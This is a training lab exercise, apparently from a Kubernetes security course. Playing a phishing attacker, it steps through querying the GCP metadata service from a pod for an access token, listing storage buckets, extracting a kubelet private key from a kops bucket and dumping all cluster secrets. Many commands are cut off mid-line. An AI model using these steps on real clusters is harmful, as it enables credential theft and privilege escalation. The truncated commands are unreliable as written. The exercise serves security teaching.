Exercise: Kubernetes Cloud Attacks

Steps

In this exercise, you are a bad actor who has phished a developer. That developer has very limited access on a Kubernetes cluster; they are able to exec into a specific single pod, presumably to debug the program running in it. You are going to escalate privilege in this cluster, by using its access to cloud resources.

1. The course proctors will provide you with a cloud cluster ID number (`N`). Store this number in your shell profile in a new variable `CLOUD_ID`, and then read this new variable into your environment now:

   ```
   # Replace the "N" in `CLOUD_ID=N` with the ID number provided by the proctors
   echo "export CLOUD_ID=N" >> ~/.bashrc
   source ~/.bashrc
   ```

2. Start by exec-ing into your pod. We'll give you a JWT, a certificate authority cert and an API server IP address.

   ```
   /home/lockthisdown/K8S-Exercise/kubectl \
   --server=$(cat /sync/.cloud_clusters/serverip-$CLOUD_ID) \
   --token=$(cat /sync/.cloud_clusters/token-cluster-$CLOUD_ID) \
   --certificate-authority=/sync/.cloud_clusters/ca.crt-$CLOUD_ID \
   exec -it bwa -- /bin/bash
   ```

3. Take a look around:

   ```
   kubectl get pods
   ```

4. Since this Kubernetes cluster runs in Google Cloud (GCP), we'll need to get the project ID that this node is running within:

   ```
   curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1
   ```

5. This exercise has a number of times like just now, where the output of our command doesn't have a newline, so you're seeing the command output's last line merged with the prompt for your next command. Let's add a line feed (`\n`) to our command prompt for now:

   ```
   export PS1="\n${debian_chroot:+($debian_chroot)}\u@\h:\w\$ "
   ```

6. Now try that previous `curl` command again and see the difference:

```
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/pr
```

7. Let's assign that to a variable. In the right hand size (RHS) of this command, we're running the same command we just used in the previous step:

```
project=$( curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/compute
```

8. You should also be seeing `curl`'s speed statistics. This is distracting, so we'll add the `-s` flag to some of our `curl` commands to silence that. Let's see things with that effect:

```
project=$( curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/compute
```

9. Now let's ask GCP's metadata service for this node's accounts:

```
curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1
```

10. The output contains two service accounts, though one is just an alias for the other. Ask for a listing of data in the `default` service account:

```
curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1
```

11. We see there's a kind of directory structure. Check out the `aliases` item, like so:

```
curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1
```

12. Now take a look at that `email` item:

```
curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1
```

13. The valuable thing here is a temporary authentication token - this is a *JSON web token (JWT)*:

```
curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1
```

14. We're getting back `json`, so let's use `jq` to make that easier to understand:

```
curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1
```

15. Note that there's an `expires` field. Let's see how it changes when we pull the same token again:

```
curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1
```

16. Let's parse the `access_token` part out, by telling `jq` that we want `.access_token`. The `.` serves as the root of the data structure being parsed:

```
curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1
```

17. Let's assign that to a variable. In the right hand size (RHS) of this command, we're running the command we just used in the previous step:

```
token=$( curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMe
```

18. View the token:

    ```
    echo $token
    ```

19. Now let's use the token to view a list of all Google Cloud Storage (GCS) buckets in this project:

    ```
    curl -s -H "Authorization: Bearer $token" -H "Accept: json" https://www.googleapis.com/
    ```

    Note: the URL there is simpler than it looks - we are hitting the `/storage` API, using version `v1`. And then we're asking for a list of buckets, with `/b/`.

20. We got back a JSON data structure with each bucket in its own sub-structure. Let's parse that out. First, get just the `.items` part of the output:

    ```
    curl -s -H "Authorization: Bearer $token" -H "Accept: json" https://www.googleapis.com/
    ```

21. This items part is a list/array of dictionaries, with each dictionary corresponding to one bucket. Let's use `jq` to iterate over each one, getting its `name`:

    ```
    curl -s -H "Authorization: Bearer $token" -H "Accept: json" https://www.googleapis.com/
    ```

22. So there's one bucket in particular that stands out, as it has `kops` in it, the name of a popular Kubernetes installer. Let's take a look at that bucket in particular by sending the `items` list through a `select` filter:

    ```
    curl -s -H "Authorization: Bearer $token" -H "Accept: json" https://www.googleapis.com/
    ```

23. Now, let's take the resulting structure, which shows only one bucket, and parse the `name` out of it:

    ```
    curl -s -H "Authorization: Bearer $token" -H "Accept: json" https://www.googleapis.com/
    ```

24. We want to use this output in a URL, but those quotes around it will get in our way. We'll need to add a `-r` (raw output) flag to `jq`, to get it to remove the quotes:

    ```
    curl -s -H "Authorization: Bearer $token" -H "Accept: json" https://www.googleapis.com/
    ```

25. Set the variable `bucket` to this bucket name:

    ```
    bucket=$( curl -s -H "Authorization: Bearer $token" -H "Accept: json" https://www.googl
    ```

26. Now get a list of object in the bucket. You're going to be taking that bucket listing part of the URL `/b/`, adding a bucket name, and now saying that you want a list of objects in it, via `/o/`:

    ```
    curl -s -H "Authorization: Bearer $token" -H "Accept: json" https://www.googleapis.com/
    ```

27. The resulting data structure has enough items to make them scroll off the page. Let's make that data structure easier to follow by just asking for the name of each object:

```
curl -s -H "Authorization: Bearer $token" -H "Accept: json" https://www.googleapis.com/
```

28. That's still quite a bit of output, but you should be able to see that there's a number of lines (objects) with `/pki/private/` in their name. One of those is a kubelet's key pair:

```
curl -s -H "Authorization: Bearer $token" -H "Accept: json" https://www.googleapis.com/
```

29. Let's get that that bucket's `selfLink` - note that we're using `jq`'s `select` instead of `grep` in this line:

```
curl -s -H "Authorization: Bearer $token" -H "Accept: json" https://www.googleapis.com/
```

30. The `selfLink` has a complete URL reference to the bucket. Let's put it in a variable called `link`:

```
link=$( curl -s -H "Authorization: Bearer $token" -H "Accept: json" https://www.googlea
```

31. If we append `?alt=media` to the end, we get its contents. Let's `curl` the link, with the headers we need for authorization:

```
curl -s -H "Authorization: Bearer $token" -H "Accept: json" ${link}?alt=media
```

32. The JSON we get back contains Base64-encoded versions of a Kubelet client private key and certificate. Let's store those in a file:

```
curl -s -H "Authorization: Bearer $token" -H "Accept: json" ${link}?alt=media >keyset-k
```

33. Let's Base64 decode the "privateMaterial" and store it in a file called `clientkey`:

```
cat keyset-kubelet.yaml | grep privateMaterial | awk '{print $2}' | base64 -d >clientke
```

34. Let's Base64 decode the "publicMaterial" and store it in a file called `clientcert`:

```
cat keyset-kubelet.yaml | grep publicMaterial | awk '{print $2}' | base64 -d >clientcer
```

35. Take a look at those two files:

```
cat clientcert clientkey
```

36. Exit the bwa pod:

```
exit
```

37. Create a kubectl command alias to make things easier:

```
alias kubectl="/home/lockthisdown/K8S-Exercise/kubectl \
--server=$(cat /sync/.cloud_clusters/serverip-$CLOUD_ID) \
--token=$(cat /sync/.cloud_clusters/token-cluster-$CLOUD_ID) \
--certificate-authority=/sync/.cloud_clusters/ca.crt-$CLOUD_ID"
```

38. Copy the `/clientkey` file out of the bwa pod:

```
kubectl exec bwa -- bash -c "cat /clientkey" >clientkey
```

39. Copy the `/clientcert` file out of the bwa pod:

    ```
    kubectl exec bwa -- bash -c "cat /clientcert" >clientcert
    ```

40. Redo your kubectl alias to use the cloud cluster, but with `--client-key` and `--client-certificate` command-line options in place of `--token`, so we can use the kubelet key and certificate to authenticate:

    ```
    alias kubectl="/home/lockthisdown/K8S-Exercise/kubectl \
    --server=$(cat /sync/.cloud_clusters/serverip-$CLOUD_ID) \
    --certificate-authority=/sync/.cloud_clusters/ca.crt-$CLOUD_ID \
    --client-key=clientkey --client-certificate=clientcert "
    ```

41. Let's see what privileges we have:

    ```
    kubectl auth can-i --list
    ```

42. Try pulling every secret in the cluster:

    ```
    kubectl get secrets --all-namespaces -o yaml
    ```

43. Notice that you have all the service account tokens!

Troubleshooting

If your GCP token expires, you can get a new one with:

```
token=$( curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadat
```